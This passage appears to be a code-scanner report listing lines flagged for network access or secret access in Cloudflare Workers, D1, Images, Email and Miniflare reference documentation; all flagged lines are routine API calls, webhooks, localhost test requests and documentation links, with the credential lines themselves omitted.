  • Network accessline 57
    ctx.waitUntil(env.STATUS_KV.put("health_status", JSON.stringify(checks)));     const failures = checks.filter(c => c.status === "down");     if (failures.length > 0) ctx.waitUntil(fetch(env.ALERT_WEBHOOK, {method: "POST", body: JSON.stringi
  • Network accessline 58
    const failures = checks.filter(c => c.status === "down");     if (failures.length > 0) ctx.waitUntil(fetch(env.ALERT_WEBHOOK, {method: "POST", body: JSON.stringify({text: `${failures.length} service(s) down: ${failures.map(f => f.name).join
  • Network accessline 59
    if (failures.length > 0) ctx.waitUntil(fetch(env.ALERT_WEBHOOK, {method: "POST", body: JSON.stringify({text: `${failures.length} service(s) down: ${failures.map(f => f.name).join(", ")}`})}));
  • Network accessline 70
    [Credential-related source omitted]
  • Network accessline 71
    [Credential-related source omitted]
  • Network accessline 72
    [Credential-related source omitted]
  • Access to secretsline 72
    [Credential-related source omitted]
  • Network accessline 106
    } catch (error) {       console.error("[ERROR]", { ...meta, duration: Date.now() - startTime, error: error.message });       ctx.waitUntil(fetch(env.ALERT_WEBHOOK, { method: "POST", body: JSON.stringify({ text: `Cron failed: ${controller.cr
  • Network accessline 107
    console.error("[ERROR]", { ...meta, duration: Date.now() - startTime, error: error.message });       ctx.waitUntil(fetch(env.ALERT_WEBHOOK, { method: "POST", body: JSON.stringify({ text: `Cron failed: ${controller.cron}`, error: error.messa
  • Network accessline 108
    ctx.waitUntil(fetch(env.ALERT_WEBHOOK, { method: "POST", body: JSON.stringify({ text: `Cron failed: ${controller.cron}`, error: error.message }) }));
  • Network accessline 155
    # Test specific cron curl "http://localhost:8787/__scheduled?cron=*/5+*+*+*+*"
  • Network accessline 156
    curl "http://localhost:8787/__scheduled?cron=*/5+*+*+*+*"
  • Network accessline 158
    # Test with specific time curl "http://localhost:8787/__scheduled?cron=0+2+*+*+*&scheduledTime=1704067200000"
  • Network accessline 159
    curl "http://localhost:8787/__scheduled?cron=0+2+*+*+*&scheduledTime=1704067200000"

packages/autoskills/skills-registry/cloudflare-deploy/references/d1/api.md

  • Network accessline 134
    // Single query const response = await fetch(
  • Network accessline 135
    const response = await fetch(
  • Network accessline 136
    `https://api.cloudflare.com/client/v4/accounts/${ACCOUNT_ID}/d1/database/${DATABASE_ID}/query`,
  • Access to secretsline 140
    [Credential-related source omitted]
  • Network accessline 153
    // Batch queries via HTTP const response = await fetch(
  • Network accessline 154
    const response = await fetch(
  • Network accessline 155
    `https://api.cloudflare.com/client/v4/accounts/${ACCOUNT_ID}/d1/database/${DATABASE_ID}/query`,
  • Access to secretsline 159
    [Credential-related source omitted]
  • Network accessline 179
    beforeAll(async () => { worker = await unstable_dev('src/index.ts'); });   afterAll(async () => { await worker.stop(); });   it('queries users', async () => { expect((await worker.fetch('/users')).status).toBe(200); });
  • Network accessline 180
    afterAll(async () => { await worker.stop(); });   it('queries users', async () => { expect((await worker.fetch('/users')).status).toBe(200); }); });
  • Network accessline 181
    it('queries users', async () => { expect((await worker.fetch('/users')).status).toBe(200); });

packages/autoskills/skills-registry/cloudflare-deploy/references/d1/configuration.md

  • Network accessline 38
    export default {   async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> {
  • Network accessline 39
    async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> {
  • Access to secretsline 124
    [Credential-related source omitted]
  • Network accessline 137
    import { users } from './schema'; export default {   async fetch(request: Request, env: Env) {
  • Network accessline 138
    export default {   async fetch(request: Request, env: Env) {     const db = drizzle(env.DB);
  • Network accessline 139
    async fetch(request: Request, env: Env) {

packages/autoskills/skills-registry/cloudflare-deploy/references/d1/patterns.md

  • Network accessline 84
    // Each tenant gets own database export default {   async fetch(request: Request, env: { [key: `TENANT_${string}`]: D1Database }) {
  • Network accessline 85
    export default {   async fetch(request: Request, env: { [key: `TENANT_${string}`]: D1Database }) {     const tenantId = request.headers.get('X-Tenant-ID');
  • Network accessline 86
    async fetch(request: Request, env: { [key: `TENANT_${string}`]: D1Database }) {
  • Network accessline 124
    export default {   async fetch(request: Request, env: Env) {
  • Network accessline 125
    async fetch(request: Request, env: Env) {

packages/autoskills/skills-registry/cloudflare-deploy/references/ddos/api.md

  • Access to secretsline 32
    [Credential-related source omitted]
  • Network accessline 100
    // Create alert await fetch(
  • Network accessline 101
    await fetch(
  • Network accessline 102
    `https://api.cloudflare.com/client/v4/accounts/${accountId}/alerting/v3/policies`,

packages/autoskills/skills-registry/cloudflare-deploy/references/ddos/patterns.md

  • Access to secretsline 78
    [Credential-related source omitted]
  • Network accessline 80
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 81
    async fetch(request: Request, env: Env): Promise<Response> {

packages/autoskills/skills-registry/cloudflare-deploy/references/do-storage/configuration.md

  • Network accessline 59
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 60
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 68
    // Legacy: forward request (still works)     // return stub.fetch(request);
  • Network accessline 69
    // return stub.fetch(request);

packages/autoskills/skills-registry/cloudflare-deploy/references/do-storage/gotchas.md

  • Network accessline 43
    **fetch() breaks input/output gates** → allows request interleaving:
  • Network accessline 46
    // UNSAFE: fetch() allows another request to interleave
  • Network accessline 47
    async unsafe() {   const val = await this.ctx.storage.get("counter");   await fetch("https://api.example.com"); // Gate broken!
  • Network accessline 48
    const val = await this.ctx.storage.get("counter");   await fetch("https://api.example.com"); // Gate broken!   await this.ctx.storage.put("counter", val + 1); // Race condition possible
  • Network accessline 49
    await fetch("https://api.example.com"); // Gate broken!
  • Network accessline 59
    return await this.ctx.blockConcurrencyWhile(async () => {     const val = await this.ctx.storage.get("counter");     await fetch("https://api.example.com");
  • Network accessline 60
    const val = await this.ctx.storage.get("counter");     await fetch("https://api.example.com");     await this.ctx.storage.put("counter", val + 1);
  • Network accessline 61
    await fetch("https://api.example.com");

packages/autoskills/skills-registry/cloudflare-deploy/references/durable-objects/README.md

  • Network accessline 55
    **RPC vs fetch() decision:**
  • Network accessline 57
    ├─ New project + compat ≥2024-04-03 → RPC (type-safe, simpler) ├─ Need HTTP semantics (headers, status) → fetch()
  • Network accessline 58
    ├─ Need HTTP semantics (headers, status) → fetch()
  • Network accessline 59
    ├─ Proxying requests to DO → fetch()
  • Network accessline 60
    └─ Legacy compatibility → fetch()
  • Network accessline 63
    See [Patterns: RPC vs fetch()](./patterns.md) for examples.
  • Access to secretsline 96
    [Credential-related source omitted]
  • Network accessline 107
    // Worker access export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 108
    export default {   async fetch(request: Request, env: Env): Promise<Response> {     const id = env.COUNTER.idFromName("global");
  • Network accessline 109
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 142
    ├─ New project + typed methods → RPC (compat ≥2024-04-03) ├─ Need HTTP semantics → fetch()
  • Network accessline 143
    ├─ Need HTTP semantics → fetch()
  • Network accessline 144
    ├─ Proxying to DO → fetch()
  • Network accessline 145
    └─ Legacy compat → fetch()
  • Network accessline 148
    See [Patterns: RPC vs fetch()](./patterns.md) for examples.
  • Network accessline 170
    **Docs**: https://developers.cloudflare.com/durable-objects/
  • Network accessline 171
    **API Reference**: https://developers.cloudflare.com/durable-objects/api/
  • Network accessline 172
    **Examples**: https://developers.cloudflare.com/durable-objects/examples/

packages/autoskills/skills-registry/cloudflare-deploy/references/durable-objects/api.md

  • Access to secretsline 8
    [Credential-related source omitted]
  • Network accessline 17
    // fetch handler (legacy/HTTP semantics)   async fetch(req: Request): Promise<Response> { /* ... */ }
  • Network accessline 18
    async fetch(req: Request): Promise<Response> { /* ... */ }
  • Network accessline 137
    async fetch(req: Request): Promise<Response> {

packages/autoskills/skills-registry/cloudflare-deploy/references/durable-objects/configuration.md

  • Access to secretsline 128
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/durable-objects/gotchas.md

  • Network accessline 96
    **Cause:** compatibility_date < 2024-04-03 preventing RPC usage   **Solution:** Update compatibility_date to >= 2024-04-03 or use fetch() instead of RPC
  • Network accessline 97
    **Solution:** Update compatibility_date to >= 2024-04-03 or use fetch() instead of RPC

packages/autoskills/skills-registry/cloudflare-deploy/references/durable-objects/patterns.md

  • Network accessline 14
    ## RPC vs fetch()
  • Network accessline 16
    **RPC** (compat ≥2024-04-03): Type-safe, simpler, default for new projects   **fetch()**: Legacy compat, HTTP semantics, proxying
  • Network accessline 17
    **fetch()**: Legacy compat, HTTP semantics, proxying
  • Network accessline 20
    const count = await stub.increment();  // RPC const count = await (await stub.fetch(req)).json();  // fetch()
  • Network accessline 21
    const count = await (await stub.fetch(req)).json();  // fetch()
  • Network accessline 29
    export default {   async fetch(req: Request, env: Env): Promise<Response> {
  • Network accessline 30
    async fetch(req: Request, env: Env): Promise<Response> {
  • Network accessline 32
    const hash = hashCode(userId) % 100;  // 100 shards     const id = env.COUNTER.idFromName(`shard:${hash}`);     return env.COUNTER.get(id).fetch(req);
  • Network accessline 33
    const id = env.COUNTER.idFromName(`shard:${hash}`);     return env.COUNTER.get(id).fetch(req);   }
  • Network accessline 34
    return env.COUNTER.get(id).fetch(req);
  • Network accessline 80
    async fetch(req: Request): Promise<Response> {

packages/autoskills/skills-registry/cloudflare-deploy/references/email-routing/README.md

  • Access to secretsline 25
    [Credential-related source omitted]
  • Network accessline 87
    - [Cloudflare Docs: Email Routing](https://developers.cloudflare.com/email-routing/)
  • Network accessline 88
    - [Cloudflare Docs: Email Workers](https://developers.cloudflare.com/email-routing/email-workers/)
  • Network accessline 89
    - [postal-mime npm package](https://www.npmjs.com/package/postal-mime)

packages/autoskills/skills-registry/cloudflare-deploy/references/email-routing/api.md

  • Network accessline 132
    export default {   async fetch(request, env, ctx): Promise<Response> {
  • Network accessline 133
    async fetch(request, env, ctx): Promise<Response> {
  • Network accessline 139
    ],       subject: "Your order #12345 has shipped",       text: "Track your package at: https://track.example.com/12345",
  • Network accessline 140
    subject: "Your order #12345 has shipped",       text: "Track your package at: https://track.example.com/12345",       html: "<p>Track your package at: <a href='https://track.example.com/12345'>View tracking</a></p>",
  • Network accessline 141
    text: "Track your package at: https://track.example.com/12345",
  • Network accessline 142
    html: "<p>Track your package at: <a href='https://track.example.com/12345'>View tracking</a></p>",
  • Access to secretsline 148
    [Credential-related source omitted]
  • Network accessline 161
    Base URL: `https://api.cloudflare.com/client/v4`
  • Network accessline 166
    [Credential-related source omitted]
  • Access to secretsline 166
    [Credential-related source omitted]
  • Network accessline 183
    [Credential-related source omitted]
  • Access to secretsline 183
    [Credential-related source omitted]
  • Access to secretsline 184
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/email-routing/configuration.md

  • Network accessline 52
    # Test with curl curl -X POST 'http://localhost:8787/__email' \
  • Network accessline 53
    curl -X POST 'http://localhost:8787/__email' \
  • Network accessline 74
    [Credential-related source omitted]
  • Access to secretsline 74
    [Credential-related source omitted]
  • Access to secretsline 75
    [Credential-related source omitted]
  • Access to secretsline 92
    [Credential-related source omitted]
  • Access to secretsline 101
    [Credential-related source omitted]
  • Access to secretsline 133
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/email-routing/gotchas.md

  • Network accessline 121
    curl -X POST 'http://localhost:8787/__email' \

packages/autoskills/skills-registry/cloudflare-deploy/references/email-routing/patterns.md

  • Access to secretsline 68
    [Credential-related source omitted]
  • Access to secretsline 94
    [Credential-related source omitted]
  • Access to secretsline 146
    [Credential-related source omitted]
  • Access to secretsline 170
    [Credential-related source omitted]
  • Access to secretsline 193
    [Credential-related source omitted]
  • Access to secretsline 213
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/email-workers/README.md

  • Network accessline 147
    - [Email Routing Documentation](https://developers.cloudflare.com/email-routing/)
  • Network accessline 148
    - [Workers Platform](https://developers.cloudflare.com/workers/)
  • Network accessline 149
    - [Wrangler CLI](https://developers.cloudflare.com/workers/wrangler/)
  • Network accessline 150
    - [postal-mime on npm](https://www.npmjs.com/package/postal-mime)
  • Network accessline 151
    - [mimetext on npm](https://www.npmjs.com/package/mimetext)

packages/autoskills/skills-registry/cloudflare-deploy/references/email-workers/configuration.md

  • Network accessline 16
    "kv_namespaces": [{ "binding": "ARCHIVE", "id": "xxx" }],   "r2_buckets": [{ "binding": "ATTACHMENTS", "bucket_name": "email-attachments" }],   "vars": { "WEBHOOK_URL": "https://hooks.example.com" }
  • Network accessline 17
    "r2_buckets": [{ "binding": "ATTACHMENTS", "bucket_name": "email-attachments" }],   "vars": { "WEBHOOK_URL": "https://hooks.example.com" } }
  • Network accessline 18
    "vars": { "WEBHOOK_URL": "https://hooks.example.com" }
  • Network accessline 63
    # Test receiving curl --request POST 'http://localhost:8787/cdn-cgi/handler/email' \
  • Network accessline 64
    curl --request POST 'http://localhost:8787/cdn-cgi/handler/email' \
  • Access to secretsline 94
    [Credential-related source omitted]
  • Access to secretsline 95
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/email-workers/gotchas.md

  • Network accessline 21
    // ❌ Errors dropped silently ctx.waitUntil(fetch(webhookUrl, { method: 'POST', body: data }));
  • Network accessline 22
    ctx.waitUntil(fetch(webhookUrl, { method: 'POST', body: data }));
  • Network accessline 24
    // ✅ Catch and log ctx.waitUntil(   fetch(webhookUrl, { method: 'POST', body: data })
  • Network accessline 25
    ctx.waitUntil(   fetch(webhookUrl, { method: 'POST', body: data })     .catch(err => env.ERROR_LOG.put(`error:${Date.now()}`, err.message))
  • Network accessline 26
    fetch(webhookUrl, { method: 'POST', body: data })

packages/autoskills/skills-registry/cloudflare-deploy/references/email-workers/patterns.md

  • Network accessline 96
    ctx.waitUntil(   fetch(env.WEBHOOK_URL, {
  • Network accessline 97
    fetch(env.WEBHOOK_URL, {

packages/autoskills/skills-registry/cloudflare-deploy/references/hyperdrive/README.md

  • Network accessline 37
    export default {   async fetch(req: Request, env: Env): Promise<Response> {
  • Network accessline 38
    async fetch(req: Request, env: Env): Promise<Response> {

packages/autoskills/skills-registry/cloudflare-deploy/references/hyperdrive/api.md

  • Network accessline 30
    export default {   async fetch(req: Request, env: Env): Promise<Response> {
  • Network accessline 31
    async fetch(req: Request, env: Env): Promise<Response> {

packages/autoskills/skills-registry/cloudflare-deploy/references/hyperdrive/gotchas.md

  • Network accessline 72
    - [Docs](https://developers.cloudflare.com/hyperdrive/)
  • Network accessline 73
    - [Getting Started](https://developers.cloudflare.com/hyperdrive/get-started/)
  • Network accessline 74
    - [Wrangler Reference](https://developers.cloudflare.com/hyperdrive/reference/wrangler-commands/)
  • Network accessline 75
    - [Supported DBs](https://developers.cloudflare.com/hyperdrive/reference/supported-databases-and-features/)
  • Network accessline 76
    - [Discord #hyperdrive](https://discord.cloudflare.com)
  • Network accessline 77
    - [Limit Increase Form](https://forms.gle/ukpeZVLWLnKeixDu7)

packages/autoskills/skills-registry/cloudflare-deploy/references/images/README.md

  • Network accessline 60
    - [Official Docs](https://developers.cloudflare.com/images/)
  • Network accessline 61
    - [Workers Examples](https://developers.cloudflare.com/images/tutorials/)

packages/autoskills/skills-registry/cloudflare-deploy/references/images/api.md

  • Network accessline 53
    curl -X POST https://api.cloudflare.com/client/v4/accounts/{account_id}/images/v1 \
  • Network accessline 68
    https://imagedelivery.net/{hash}/{id}/width=800,height=600,fit=cover,format=avif
  • Network accessline 76
    // 1. Get upload URL (backend) const { result } = await fetch(
  • Network accessline 77
    const { result } = await fetch(
  • Network accessline 78
    `https://api.cloudflare.com/client/v4/accounts/${accountId}/images/v2/direct_upload`,
  • Network accessline 84
    const formData = new FormData(); formData.append('file', file); await fetch(result.uploadURL, { method: 'POST', body: formData });
  • Network accessline 86
    await fetch(result.uploadURL, { method: 'POST', body: formData });

packages/autoskills/skills-registry/cloudflare-deploy/references/images/configuration.md

  • Network accessline 25
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 26
    async fetch(request: Request, env: Env): Promise<Response> {
  • Access to secretsline 47
    [Credential-related source omitted]
  • Network accessline 52
    const response = await fetch(
  • Network accessline 53
    `https://api.cloudflare.com/client/v4/accounts/${accountId}/images/v1`,
  • Network accessline 83
    const imageUrl = `https://imagedelivery.net/${env.IMAGES_ACCOUNT_HASH}/${imageId}/public`;
  • Network accessline 100
    curl -X POST \
  • Network accessline 101
    https://api.cloudflare.com/client/v4/accounts/{account_id}/images/v1/variants \
  • Network accessline 118
    https://imagedelivery.net/{account_hash}/{image_id}/thumbnail
  • Network accessline 161
    [Credential-related source omitted]
  • Network accessline 162
    https://api.cloudflare.com/client/v4/accounts/{account_id}/images/v1
  • Network accessline 168
    [Credential-related source omitted]
  • Access to secretsline 168
    [Credential-related source omitted]
  • Access to secretsline 169
    [Credential-related source omitted]
  • Network accessline 170
    https://api.cloudflare.com/client/v4/accounts/{account_id}/images/v1
  • Network accessline 178
    # Upload with signed URLs required curl -X POST \
  • Network accessline 179
    curl -X POST \
  • Network accessline 180
    https://api.cloudflare.com/client/v4/accounts/{account_id}/images/v1 \
  • Network accessline 198
    return `https://imagedelivery.net/{hash}${path}?exp=${expiry}&sig=${signature}`;
  • Access to secretsline 202
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/images/gotchas.md

  • Network accessline 94
    // Test with curl // curl -I "https://imagedelivery.net/{hash}/{id}/width=800,format=avif"
  • Network accessline 95
    // curl -I "https://imagedelivery.net/{hash}/{id}/width=800,format=avif"

packages/autoskills/skills-registry/cloudflare-deploy/references/images/patterns.md

  • Network accessline 15
    <img src="https://imagedelivery.net/{hash}/{id}/width=800"
  • Network accessline 23
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 33
    // Backend: Generate upload URL const response = await fetch(
  • Network accessline 34
    const response = await fetch(
  • Network accessline 35
    `https://api.cloudflare.com/client/v4/accounts/${env.ACCOUNT_ID}/images/v2/direct_upload`,
  • Access to secretsline 36
    [Credential-related source omitted]
  • Network accessline 41
    const formData = new FormData(); formData.append('file', file); await fetch(result.uploadURL, { method: 'POST', body: formData });
  • Network accessline 42
    formData.append('file', file); await fetch(result.uploadURL, { method: 'POST', body: formData }); // Use: https://imagedelivery.net/{hash}/${result.id}/public
  • Network accessline 43
    await fetch(result.uploadURL, { method: 'POST', body: formData });
  • Network accessline 44
    // Use: https://imagedelivery.net/{hash}/${result.id}/public
  • Network accessline 50
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 64
    const watermark = await env.ASSETS.fetch(new URL('/watermark.png', request.url));
  • Network accessline 86
    async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> {

packages/autoskills/skills-registry/cloudflare-deploy/references/kv/configuration.md

  • Network accessline 44
    export default {   async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> {
  • Network accessline 45
    async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> {
  • Access to secretsline 50
    [Credential-related source omitted]
  • Access to secretsline 109
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/kv/patterns.md

  • Network accessline 25
    // L3: Origin (slow)   const origin = await fetch(`https://api.example.com/${key}`).then(r => r.json());
  • Network accessline 26
    const origin = await fetch(`https://api.example.com/${key}`).then(r => r.json());
  • Network accessline 49
    env,   "cache:users",   () => fetch("https://api.example.com/users").then(r => r.json())
  • Network accessline 50
    "cache:users",   () => fetch("https://api.example.com/users").then(r => r.json()) );
  • Network accessline 51
    () => fetch("https://api.example.com/users").then(r => r.json())

packages/autoskills/skills-registry/cloudflare-deploy/references/miniflare/README.md

  • Network accessline 74
    script: `     export default {       async fetch(request, env, ctx) {
  • Network accessline 75
    export default {       async fetch(request, env, ctx) {         return new Response("Hello Miniflare!");
  • Network accessline 76
    async fetch(request, env, ctx) {
  • Network accessline 83
    const res = await mf.dispatchFetch("http://localhost:8787/");

packages/autoskills/skills-registry/cloudflare-deploy/references/miniflare/api.md

  • Network accessline 36
    **Fetch (no HTTP server):**
  • Network accessline 38
    const res = await mf.dispatchFetch("http://localhost:8787/path", {
  • Network accessline 47
    const res = await mf.dispatchFetch("http://localhost:8787/", {
  • Access to secretsline 82
    [Credential-related source omitted]
  • Access to secretsline 83
    [Credential-related source omitted]
  • Network accessline 111
    const id = ns.idFromName("test"); const stub = ns.get(id); const res = await stub.fetch("http://localhost/");
  • Network accessline 113
    const res = await stub.fetch("http://localhost/");
  • Network accessline 129
    const caches = await mf.getCaches(); const defaultCache = caches.default; await defaultCache.put("http://example.com", new Response("cached"));
  • Network accessline 131
    await defaultCache.put("http://example.com", new Response("cached"));
  • Network accessline 179
    const mf = new Miniflare({ scriptPath: "worker.js" }); const url = await mf.ready; // Promise<URL> console.log(`Server running at ${url}`); // http://127.0.0.1:8787
  • Network accessline 181
    console.log(`Server running at ${url}`); // http://127.0.0.1:8787
  • Network accessline 183
    // Note: dispatchFetch() waits automatically, no need to await ready const res = await mf.dispatchFetch("http://localhost/"); // Works immediately
  • Network accessline 184
    const res = await mf.dispatchFetch("http://localhost/"); // Works immediately

packages/autoskills/skills-registry/cloudflare-deploy/references/miniflare/configuration.md

  • Network accessline 30
    "streams_enable_constructors", // Stream constructors   ],   upstream: "https://example.com", // Fallback for unhandled requests
  • Network accessline 31
    ],   upstream: "https://example.com", // Fallback for unhandled requests });
  • Network accessline 32
    upstream: "https://example.com", // Fallback for unhandled requests
  • Network accessline 90
    bindings: {     SECRET_KEY: "my-secret-value",     API_URL: "https://api.example.com",
  • Network accessline 91
    SECRET_KEY: "my-secret-value",     API_URL: "https://api.example.com",     DEBUG: true,
  • Network accessline 92
    API_URL: "https://api.example.com",

packages/autoskills/skills-registry/cloudflare-deploy/references/miniflare/gotchas.md

  • Access to secretsline 147
    [Credential-related source omitted]

packages/autoskills/skills-registry/cloudflare-deploy/references/miniflare/patterns.md

  • Network accessline 63
    it("handles fetch", async () => {   const res = await SELF.fetch("http://example.com/");
  • Network accessline 64
    const res = await SELF.fetch("http://example.com/");
  • Network accessline 84
    test("fetch", async () => {   const res = await mf.dispatchFetch("http://localhost/");
  • Network accessline 85
    const res = await mf.dispatchFetch("http://localhost/");
  • Network accessline 96
    const ns = await mf.getDurableObjectNamespace("COUNTER"); const stub = ns.get(ns.idFromName("test-counter")); await stub.fetch("http://localhost/increment");
  • Network accessline 98
    await stub.fetch("http://localhost/increment");
  • Network accessline 123
    workers: [     { name: "main", serviceBindings: { API: "mock-api" }, script: `...` },     { name: "mock-api", script: `export default { async fetch() { return Response.json({mock: true}); } }` },
  • Network accessline 124
    { name: "main", serviceBindings: { API: "mock-api" }, script: `...` },     { name: "mock-api", script: `export default { async fetch() { return Response.json({mock: true}); } }` },   ],
  • Network accessline 125
    { name: "mock-api", script: `export default { async fetch() { return Response.json({mock: true}); } }` },
  • Access to secretsline 137
    [Credential-related source omitted]
  • Access to secretsline 140
    [Credential-related source omitted]
  • Network accessline 143
    export default {   async fetch(req: Request, env: Env) {
  • Network accessline 144
    async fetch(req: Request, env: Env) {
  • Access to secretsline 147
    [Credential-related source omitted]
  • Network accessline 153
    const res = await mf.dispatchFetch("http://localhost/ws", {
  • Network accessline 177
    // Use dispatchFetch (no port conflicts) await mf.dispatchFetch("http://localhost/");
  • Network accessline 178
    await mf.dispatchFetch("http://localhost/");

packages/autoskills/skills-registry/cloudflare-deploy/references/network-interconnect/README.md

  • Network accessline 30
    - IPv4 /24+ or IPv6 /48+ prefixes - BGP ASN for v1 - See [locations PDF](https://developers.cloudflare.com/network-interconnect/static/cni-locations-2026-01.pdf)
  • Network accessline 32
    - See [locations PDF](https://developers.cloudflare.com/network-interconnect/static/cni-locations-2026-01.pdf)

packages/autoskills/skills-registry/cloudflare-deploy/references/network-interconnect/api.md

  • Network accessline 8
    https://api.cloudflare.com/client/v4
  • Network accessline 78
    Rates: `high` | `medium` | `low`. Types: `request` | `reply`. See [Magic Transit docs](https://developers.cloudflare.com/magic-transit/how-to/configure-tunnel-endpoints/#add-tunnels).
  • Access to secretsline 94
    [Credential-related source omitted]
  • Network accessline 126
    // LOA (use fetch) const res = await fetch(`https://api.cloudflare.com/client/v4/accounts/${id}/cni/interconnects/${iconId}/loa`, {
  • Network accessline 127
    const res = await fetch(`https://api.cloudflare.com/client/v4/accounts/${id}/cni/interconnects/${iconId}/loa`, {
  • Access to secretsline 156
    [Credential-related source omitted]
  • Network accessline 171
    # List interconnects curl "https://api.cloudflare.com/client/v4/accounts/${ACCOUNT_ID}/cni/interconnects" \
  • Network accessline 172
    [Credential-related source omitted]
  • Access to secretsline 172
    [Credential-related source omitted]
  • Access to secretsline 173
    [Credential-related source omitted]
  • Network accessline 175
    # Create interconnect curl -X POST "https://api.cloudflare.com/client/v4/accounts/${ACCOUNT_ID}/cni/interconnects?validate_only=true" \
  • Network accessline 176
    [Credential-related source omitted]
  • Access to secretsline 176
    [Credential-related source omitted]
  • Access to secretsline 177
    [Credential-related source omitted]
  • Network accessline 180
    # LOA PDF curl "https://api.cloudflare.com/client/v4/accounts/${ACCOUNT_ID}/cni/interconnects/${ICON_ID}/loa" \
  • Network accessline 181
    [Credential-related source omitted]
  • Access to secretsline 181
    [Credential-related source omitted]
  • Access to secretsline 182
    [Credential-related source omitted]
  • Network accessline 197
    - [API Docs](https://developers.cloudflare.com/api/resources/network_interconnects/)
  • Network accessline 198
    - [TypeScript SDK](https://github.com/cloudflare/cloudflare-typescript)
  • Network accessline 199
    - [Python SDK](https://github.com/cloudflare/cloudflare-python)

packages/autoskills/skills-registry/cloudflare-deploy/references/network-interconnect/configuration.md

  • Network accessline 13
    4. **Configure** (Week 3): Both sides configure per doc 5. **Test** (Week 3-4): Ping, verify BGP, check routes 6. **Health checks** (Week 4): Configure [Magic Transit](https://developers.cloudflare.com/magic-transit/how-to/configure-tunnel-
  • Network accessline 14
    5. **Test** (Week 3-4): Ping, verify BGP, check routes 6. **Health checks** (Week 4): Configure [Magic Transit](https://developers.cloudflare.com/magic-transit/how-to/configure-tunnel-endpoints/#add-tunnels) or [Magic WAN](https://developer
  • Network accessline 15
    6. **Health checks** (Week 4): Configure [Magic Transit](https://developers.cloudflare.com/magic-transit/how-to/configure-tunnel-endpoints/#add-tunnels) or [Magic WAN](https://developers.cloudflare.com/magic-wan/configuration/manually/how-t
  • Network accessline 17
    8. **Monitor**: Enable [maintenance notifications](https://developers.cloudflare.com/network-interconnect/monitoring-and-alerts/#enable-cloudflare-status-maintenance-notification)
  • Network accessline 54
    **Post-setup:** Add [static routes](https://developers.cloudflare.com/magic-wan/configuration/manually/how-to/configure-routes/#configure-static-routes) to Magic WAN. Enable [bidirectional health checks](https://developers.cloudflare.com/ma
  • Network accessline 64
    **Routing to GCP:** Add [static routes](https://developers.cloudflare.com/magic-wan/configuration/manually/how-to/configure-routes/#configure-static-routes). BGP routes from GCP Cloud Router **ignored**.
  • Network accessline 66
    **Routing to CF:** Configure [custom learned routes](https://cloud.google.com/network-connectivity/docs/router/how-to/configure-custom-learned-routes) in Cloud Router. Request prefixes from CF account team.

packages/autoskills/skills-registry/cloudflare-deploy/references/network-interconnect/gotchas.md

  • Network accessline 64
    **Cause:** Typo or unsupported facility   **Solution:** Check [locations PDF](https://developers.cloudflare.com/network-interconnect/static/cni-locations-2026-01.pdf) for valid codes
  • Network accessline 65
    **Solution:** Check [locations PDF](https://developers.cloudflare.com/network-interconnect/static/cni-locations-2026-01.pdf) for valid codes
  • Network accessline 102
    **Cause:** BGP routes from GCP Cloud Router **ignored by design**   **Solution:** Use [static routes](https://developers.cloudflare.com/magic-wan/configuration/manually/how-to/configure-routes/#configure-static-routes) in Magic WAN instead
  • Network accessline 103
    **Solution:** Use [static routes](https://developers.cloudflare.com/magic-wan/configuration/manually/how-to/configure-routes/#configure-static-routes) in Magic WAN instead

packages/autoskills/skills-registry/cloudflare-deploy/references/network-interconnect/patterns.md

  • Network accessline 164
    - [Magic Transit Docs](https://developers.cloudflare.com/magic-transit/)
  • Network accessline 165
    - [Magic WAN Docs](https://developers.cloudflare.com/magic-wan/)
  • Network accessline 166
    - [Argo Smart Routing](https://developers.cloudflare.com/argo/)

packages/autoskills/skills-registry/cloudflare-deploy/references/observability/README.md

  • Network accessline 85
    - [Cloudflare Workers Docs](https://developers.cloudflare.com/workers/)
  • Network accessline 86
    - [Analytics Engine Docs](https://developers.cloudflare.com/analytics/analytics-engine/)
  • Network accessline 87
    - [Workers Traces Docs](https://developers.cloudflare.com/workers/observability/traces/)

packages/autoskills/skills-registry/cloudflare-deploy/references/observability/api.md

  • Network accessline 5
    **Endpoint**: `https://api.cloudflare.com/client/v4/graphql`
  • Network accessline 39
    **Endpoint**: `https://api.cloudflare.com/client/v4/accounts/{account_id}/analytics_engine/sql`

packages/autoskills/skills-registry/cloudflare-deploy/references/observability/configuration.md

  • Network accessline 60
    export default {   async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 61
    async fetch(request: Request, env: Env): Promise<Response> {
  • Network accessline 98
    // Send to external monitoring       ctx.waitUntil(         fetch('https://monitoring.example.com/errors', {
  • Network accessline 99
    ctx.waitUntil(         fetch('https://monitoring.example.com/errors', {           method: 'POST',
  • Network accessline 100
    fetch('https://monitoring.example.com/errors', {
  • Network accessline 123
    curl -X POST "https://api.cloudflare.com/client/v4/accounts/{account_id}/logpush/jobs" \

packages/autoskills/skills-registry/cloudflare-deploy/references/observability/gotchas.md

  • Network accessline 14
    # Test with curl curl https://your-worker.workers.dev
  • Network accessline 15
    curl https://your-worker.workers.dev
  • Network accessline 55
    // Date.now() is coarsened - trace spans are accurate export default {   async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> {
  • Network accessline 56
    export default {   async fetch(request: Request, env: Env, ctx: ExecutionContext): Promise<Response> {     // For user-facing timing, Date.now() is fine
  • Network accessline 57
